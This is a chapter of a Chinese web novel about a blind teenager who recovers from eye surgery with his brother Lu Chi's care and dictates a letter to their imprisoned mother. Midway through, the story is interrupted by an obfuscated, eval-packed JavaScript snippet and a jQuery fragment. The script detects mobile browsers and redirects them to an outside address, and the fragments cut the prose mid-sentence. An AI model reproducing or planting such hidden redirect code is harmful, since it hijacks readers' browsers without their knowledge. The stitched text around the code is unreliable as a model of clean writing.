对于手术过程我完全没有任何记忆，当然，这并不是因为医生麻药麻了我的脑袋，而是因为在做手术前路迟像个苍蝇似得，一直在我耳边念叨那些小时候就听腻了的童话故事，搞得我昏昏欲睡。在我躺到手术台上那一刻，听着耳边低低的交谈声，直接就睡了过去。
等我再次醒来，眼皮上包着厚厚的纱布，束缚感极其明显，让我觉得现在的自己就像埃及木乃伊似得，格外滑稽。
我问路迟：“我现在丑不丑。”
“不丑。”路迟掖了掖被角，用手抬起我的下巴，让被子完全包裹住我的全部身躯。
更像木乃伊了。
做完手术之后要在医院住两天，这让我觉得特不自在，总觉得自己同路迟讲话时还有旁人在偷偷地听着，并以此来判断我的精神状态是否正常，是否需要转移到精神科。
我把声音压得特别低，接着问：“那看着是不是特别搞笑。”
“没有。”路迟亲亲我的额头，说：“看着就跟等着家长来接的幼儿园小孩儿似得，特可爱。”
“真假？”这话太腻歪了，我怎么可能像幼儿园的小孩儿呢，那帮小屁孩能有我这么长的腿、这么高的个子吗，显然不可能。我撇撇嘴，说：“路迟，你就昧着良心说假话哄我吧。”
“哥是顺着良心说的。”路迟抓我的手去摸他的胸膛，掌心里的跳动如此明显，我一时忘了说话，只是条件反射地数起了他心脏跳动的次数。等我数到两百，我才骤然回过神儿，抽回手说：“行吧，暂且相信你一下。”
医院楼下有个小花园，我躺在床上感觉身体都要躺硬了，路迟就牵着我一点一点地走到楼下，在小花园的长椅上坐着。
路迟说花园不大，也没有多少人，所以我说话不用再刻意压制声音。
我和路迟手牵着手，随便说些有的没的，时间就过去了一两个小时。我发现，和路迟在一起的时候，时间总是过得特别快，我想说的话根本没法全部说完，所以总是滔滔不绝、生怕说得少了。
路迟安静地听我说，时不时附和两句。我甚至有一瞬错觉，我俩就像是年老的夫妻，没了多余的烦心事儿，整日唯一需要做的，就是依偎在彼此身边，摸着对方掌心独属于命运的纹路，静静地、慢慢地相濡以沫。
我从来不觉得我会喜欢这种平淡无味的生活，毕竟我还年轻，我体验过的东西太少了，我需要用源源不断的新鲜事物来刺激自己的大脑，让我深刻地感觉到我在活着。
但如果是陪在路迟身边，无趣好像也成了一种旁人无法插足的平稳。
我将脑袋靠到路迟肩膀上，说：“哥，等我眼睛好了之后，我立马就找个工作，赚大钱养你一辈子。”
“钱得留着养老婆。”路迟说。
我捏捏他的手指，说：“养老婆之前也得先孝敬孝敬您啊，要不我良心不安。”
“你还有良心呢。”路迟轻笑了声。
“有啊。”我说：“你都有，我凭什么没有。”
“是。”路迟说：“妈教你教得好，你不可能丢了良心。”顿了顿，路迟接着说：“下周我去看妈，等回家了，咱俩就开始写信吧。”
是的，每次路迟去探监前，我们都有个特定的习惯，就是写信。我没法去看我妈，只能把我想说的写到信上，到时候再由路迟一字字读给我妈听，但我是个小瞎子，写不出信的，所以每次写信时都是我一字一顿地说，路迟一笔一划地写。
有时候说到一半，我还会有些不好意思。因为我想让我妈知道路迟把我照顾得很好，但当着路迟的面儿对他大吹大擂，我实在怕他骄傲。还有些时候，我说着说着，就想起监狱里的环境可能不大好，我妈必定吃了很多苦，我想问她过得怎么样，奈何言语匮乏，磕巴半天也只能挑选出一句稍微没那么伤感的问话——妈，你现在睡得好吗。
我妈睡眠不好，因为她常年干苦活累活，身子骨早就被压垮了，但她又不是爱抱怨讨怜的人，我之前一直以为我妈是世界上最牛逼的超人，因为别的叔叔阿姨干完活回到家，或多或少都对自家孩子说过：“我在外累死累活，幸幸苦苦供你读书，你他妈还说上累了小兔崽子？”
但我妈从来没说过。后来我才知道，我妈经常身上疼得半夜睡不着觉，我妈身上淡淡的香味也不是什么价格高昂的香水，是膏药自带的薄荷香。
后来膏药对她也没用了，我有时候半夜起床上厕所，睡眼朦胧时总是会看见我妈坐在客厅，一手撑着脑袋，一手掐着大腿。她应该是怕忍不住痛哭出来吧。
我想去哄我妈，可每次我刚轻轻抱住她，她就别过脸让我回屋。
回屋之后，客厅的灯很快也熄灭了。
我知道我妈还在痛，但她不想让我担心。
那现在呢，她睡得好不好。
路迟每次回来，都会告诉我：“妈说她现在身体比以前好多了，在里面的日子没有在外面累，饮食也健康不少，需要她操心的事儿少了，心里的担子放下了，自然就睡得好了。”
每次都是这句话，起初我还会松口气，但后面，我只会抿抿唇，沉默几秒后说：“哥，我什么时候才能成年啊。”
我想亲自看看我妈。
我已经等不及出院了。回到病房，我就磨着路迟让他找护士要纸和笔，即刻就开始写信。
但等路迟将一切都准备好了，我反倒不知道该说什么了。
我觉得鼻子一酸，刚想说：“哥，你说老天爷是不是嫉妒我有个这么好的妈，所以才要让她离开我。”
可我还没来得及张开嘴，路迟的双手就捧住了我的脸，他柔声引导我：“深呼吸，桉宝，调整一下情绪，你现在不能哭，对眼睛不好，你眼泪要是掉出来了，这手术的效果就大打折扣了，离你能看见世界的日子就更远了，你不想在成年后立马去监狱里看看妈的脸吗？”
“妈要是知道你恢复视力会很高兴的，我这次就准备跟她说你接受治疗的事儿，让她开心开心。”
我咬住嘴唇，竭力隐忍，勉强“嗯”了一声。
路迟亲了亲我的脸蛋，说：“乖宝宝。”
我吸了记鼻子，说：“哥，你觉得写什么比较好呢，我想让妈知道我想她，又不想让她太想我。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315055|198926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
路迟说：“像之前写的那些就很好。”
我摇摇头，说：“我觉得不够好，因为写完信之后我更想妈了，我对妈的念想一点儿都没转移到信里面，我好难受啊哥。”
路迟拍拍我的后背，低声说：“桉宝，你想的太多了，哥宁可你无理取闹一辈子，也不想看你这样。”
我缩在路迟怀里，没再说话。我调整不好情绪，只觉得喉咙里像是堵着湿棉花，喘不过气还有些轻微的挤压感。
最后，我说：“哥，这次信写短点儿吧。”
“写什么。”路迟问。
“你就写——”
“妈，我马上就长大了。”
等我妈出狱，我就能保护我妈了。
路迟说：”好。”
回家之后，我情绪始终不太高涨，这不仅是因为手术导致我眼部始终有些不舒服，偶尔传来阵阵刺痛，还要一遍遍地上药。还因为，路迟马上要去看我妈了，我又要一个人在家等消息了。
路迟去探监那天是个阴天。
窗外阵阵淅沥沥的雨声，周围空气都是止不住的潮湿，每次呼吸的时候，我都觉得我像是被泡进了冷水里。
路迟起了个大早去的，我没等多久他就回来了。
我听见开门的声音，立马下床朝着客厅跑过去。路迟紧紧抱住我，我感觉到了，他身上都被淋湿了。
“没带伞吗。”我问。
“带了。”路迟声音有些哑：“但是伞被风吹坏了，不过也就淋了一小段路的雨。”
“是不是感冒了。”我说：“声音不太对。”
“应该是。”路迟把我抱起来，走到沙发旁将我放下，自己则坐到旁边点了一支烟。
他没再说话。我感觉到气氛有些不对劲儿，心跳几乎漏了一拍，一种不祥的预感瞬间袭来。
我下意识问：“妈咋了。”
路迟沉默几秒后，语气轻松地说：“妈挺好的啊，我今天跟她说你要长大了，她特别欣慰。”
“我不信。”我站起身，说：“你状态不对，别骗我了路迟，我又不是傻子，妈到底怎么了？”
周遭没有任何人回应我，只有连绵不断的雨声，如同紧促却又被刻意降低音量的鼓点，不重不轻却无可忽视地敲击着我的神经。
“妈真挺好的。”路迟笑着说：“就是今天路上碰到点儿意外，刚才一下没缓过来。”
“什么意外？”我穷追不舍。
路迟叹了口气，像是因我执拗感到无可奈何，他说：“我碰到了个和老畜生长得特别像的人，我追他追了一路，也是在追他的时候丢的伞。”
“怎么可能？”我皱皱眉头，说：“他死了啊。”
“是，所以是我弄错了。”路迟顿了顿，说：“但是哥当时真的有点儿慌了，所以才失去了理智。”
好在不是我妈出了状况。
我松了口气，摸索着走到路迟身边，搭上他来搀扶我的手，顺势开始问：“妈今天都说什么了？”
路迟“啊”了一声，才说：“桉宝，你等哥抽完烟再跟你说好不好。”